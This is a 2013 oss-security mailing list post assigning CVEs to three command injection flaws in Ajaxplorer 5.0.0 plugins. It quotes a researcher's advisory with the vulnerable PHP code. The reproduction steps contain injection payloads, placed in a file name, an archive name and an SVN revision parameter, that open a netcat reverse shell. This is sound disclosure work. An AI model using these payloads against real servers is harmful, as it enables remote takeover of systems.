Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Wed, 21 Aug 2013 14:25:37 -0600
From: Kurt Seifried <kseifried@...hat.com>
To: oss-security@...ts.openwall.com
CC: "Mehrenberger, Xavier" <Xavier.Mehrenberger@...sidian.com>
Subject: Re: CVE requests for Ajaxplorer

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 07/04/2013 02:40 AM, Mehrenberger, Xavier wrote:
> Hello,
> 
> I'd like to request CVE identifiers for three remote shell
> execution vulnerabilities I have discovered in ajaxplorer. These
> vulnerabilities are public, and have been fixed by upstream (see 
> advisory below).
> 
> Kurt, this is the same advisory I sent you privately, describing
> the same vulnerabilities. No identifiers have been issued yet.
> 
> Thanks

top posting:

CVE-2013-4267 Ajaxeplorer "Power FS" action.powerfs
CVE-2013-4268 Ajaxeplorer "File System (Standard)" access.fs
CVE-2013-4269 Ajaxeplorer "Subversion Repository" meta.svn


> ======================================= Advisory title: Several
> ajaxplorer 5.0.0 remote exec vulnerabilities Product: Ajaxplorer
> 5.0.0 plugins Credit: Xavier Mehrenberger, Cassidian CyberSecurity 
> Upstream URL: http://ajaxplorer.info/ Vulnerable version: 5.0.0
> plugins and probably earlier versions Tested: v5.0.0, June 2013 
> Fixed in: v5.0.1, released 2013-06-29 Public fixes: 
> https://github.com/ajaxplorer/ajaxplorer-core/commit/22a62840e5ac14bb389
>
> 
e7f24218ef6fb20963571
> Category: Remote Code Execution Vulnerability type: [CWE-88]
> Argument Injection or Modification CVE IDs: None yet Affected
> plugins: * "Power FS" action.powerfs * "File System (Standard)"
> access.fs * "Subversion Repository" meta.svn By: Xavier
> Mehrenberger Cassidian CyberSecurity 
> http://www.cassidiancybersecurity.com 
> =======================================
> 
> ----- 1st vulnerability Affected plugin: "Power FS" action.powerfs 
> Plugin URL: http://ajaxplorer.info/plugins/action/powerfs/ Plugin
> description: delegate various time/memory-consuming actions to the 
> underlying filesystem. Required configuration: Power FS plugin is
> enabled. This can be done from the web interface by any user with
> sufficient privileges. User has to be logged in to ajaxplorer.
> 
> Steps to reproduce: * Select one or more files * Click
> More>Compress... * Use 'a";nc 127.0.0.1 1234 -e /bin/bash;"b' as
> file name to execute a command on the server. This example command
> provides you with a reverse shell on localhost:1234 (ajaxplorer
> installed on localhost for test purposes)
> 
> Vulnerable code sample: --- file
> plugins/action.powerfs/class.PowerFSController.php line 156 144
> $archiveName = $httpVars["archive_name"]; ... 149 $cmd = "zip -r
> \"".$archiveName."\" ".implode(" ", $args); ... 156 $proc =
> popen($cmd, "r"); --- The $archiveName variable is controlled by
> the attacker, and is not escaped before passing it to popen(). 
> Proposed fix: properly sanitize user-controlled parameters.
> 
> 
> ----- 2nd vulnerability Affected plugin: "File System (Standard)"
> access.fs Plugin URL: http://ajaxplorer.info/plugins/access/fs/ 
> Plugin description: Access to the local filesystem Required
> configuration: "Real Size Probing" is set to "Yes" in File System 
> plugin configuration. This option is set to "No" by default in
> v5.0.0, but can be set from the web interface by any user with
> sufficient privileges. User has to be logged in to ajaxplorer.
> 
> Steps to reproduce: * Create a new empty file * Set its name as
> '$(nc 127.0.0.1 1234 -e bash)' (remove single quotes). This example
> command provides you with a reverse shell on localhost:1234 
> (ajaxplorer installed on localhost for test purposes)
> 
> Vulnerable code sample: --- file
> plugins/access.fs/class.fsAccessWrapper.php, lines 443, 448, 455 
> 440 protected function getTrueSizeOnFileSystem($file) { 442 $cmd =
> "stat -L -c%s \"".$file."\""; 443 $val = trim(`$cmd`); 447 $cmd =
> "ls -1s --block-size=1 \"".$file."\""; 448 $val = trim(`$cmd`); 453
> $cmd = "ls -l \"".$file."\""; 455 $arr = explode("/[\s]+/",
> `$cmd`); --- Line 469 is probably affected as well - executed on
> Windows machines, not tested. The $file value is controlled by the
> attacker, and is not escaped before passing it to backticks '`'. 
> Proposed fix: properly sanitize user-controlled parameters.
> 
> 
> ----- 3rd vulnerability Affected plugin: "Subversion Repository"
> meta.svn Plugin URL: http://ajaxplorer.info/plugins/meta/svn/ 
> Plugin description: Use an SVN working copy as an ajaxplorer
> repository Required configuration: The SVN plugin has to be
> enabled, and an ajaxplorer "SVN repository" has to be present. This
> can be done from the web interface by any user with sufficient
> privileges. User has to be logged in to ajaxplorer.
> 
> Steps to reproduce: * Send a forged revert_file request (ex. using
> burp or webscarab) Such revert_file request get send when a user
> tries to revert a file from an SVN working directory. * Set the
> 'revision' parameter to '1; nc 127.0.0.1 1234 -e /bin/bash; echo' 
> (remove single quotes). This example command provides you with a
> reverse shell on localhost:1234 (ajaxplorer installed on localhost
> for test purposes)
> 
> Vulnerable code sample: --- file
> plugins/meta.svn/class.SvnManager.php, lines 203 and 205 196
> $revision = $httpVars["revision"]; ... 203 system(
> (SVNLIB_PATH!=""?SVNLIB_PATH."/":"") ."svn cat -r$revision 
> $escapedFile > ".escapeshellarg($targetFile)); 204 }else{ 205
> system( (SVNLIB_PATH!=""?SVNLIB_PATH."/":"") ."svn cat -r$revision 
> $escapedFile > $escapedFile"); --- The $revision variable is
> controlled by the attacker, and is not escaped properly. Proposed
> fix: properly sanitize user-controlled parameters.
> 
> 
> 

- -- 
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.14 (GNU/Linux)

iQIcBAEBAgAGBQJSFSJAAAoJEBYNRVNeJnmTdaEP/RZa5OQ8KZA/9MQ4g/42XS69
X+HyYBD0LgYTkU97Z+YGPIBweTULhItffGyQbv+46RNjMq7qz2Gvobi5TimkkUU2
q2jJALerndCo90kUSYjd0pgZzOcH5GXO6IjU/9JE/D6nIz8HGscOMlh9Hn9poBOP
alwRSyOXbPcyQm+JbCEGkiHYTz3OWDaiOCagbNbngGbbPB/2Q/JUDqSclBd6DRCR
2chs+f0WY5UxvCd8f3uByw4S4OtolQBvkQ3AbzmsQIQBJGHVOWw/RT5ZwoiZD84D
jaD9r8ursM9GtKnK9Lex6WG3L5aebzrLYk9LTisg17pM9fZ4p2VzmMOvW1/bUxn4
CzbNoffxhDkz6df0zw0BgskJ+qKYPIPFGJ0VTr4bgrfhxV4JstQCLHe+m/vfnKm4
zFQs6QrvxoFRCfrHhEj709oqImky1q37rUVm+WupDILK+f1E6xB/0zkoC9LkfX+g
xEmPsbxrIjhyspFVfCzmsAfUjVfQ5mcCr0BeOSiUqSjnpyhVWCwBVmirAjgpxjPZ
/O5dbUrOQQJ5dAPqu7nVfKL9lmdQVYQ2BeXKjMIliHj4RrmU04kjgumK1SnyIqyA
MZT0qbY8PJwDLWZzOH9a4Tm+6s4M2Bxwr98/fv4Osq6PAz8EL6KzfakaeafYc7ir
HqoqCcLnE3+brbehPpB+
=U6z1
-----END PGP SIGNATURE-----

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.